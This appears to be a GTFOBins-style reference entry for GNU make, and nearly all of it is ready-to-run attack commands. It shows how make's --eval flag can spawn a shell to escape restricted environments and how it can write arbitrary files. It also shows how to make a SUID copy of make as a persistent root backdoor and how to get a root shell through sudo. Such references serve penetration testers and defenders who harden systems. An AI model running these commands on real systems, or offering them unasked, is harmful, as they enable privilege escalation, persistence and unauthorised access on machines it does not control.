All these examples only work with GNU make due to the lack of support of the --eval flag. The same can be achieved by using a proper Makefile or by passing the content via stdin using -f -.
It can be used to break out from restricted environments by spawning an interactive system shell.
COMMAND='/bin/sh'
make -s --eval=$'x:\n\t-'"$COMMAND"
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
Requires a newer GNU make version.
LFILE=file_to_write
make -s --eval="\$(file >$LFILE,DATA)" .
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which make) .; chmod +s ./make'
COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
COMMAND='/bin/sh'
sudo make -s --eval=$'x:\n\t-'"$COMMAND"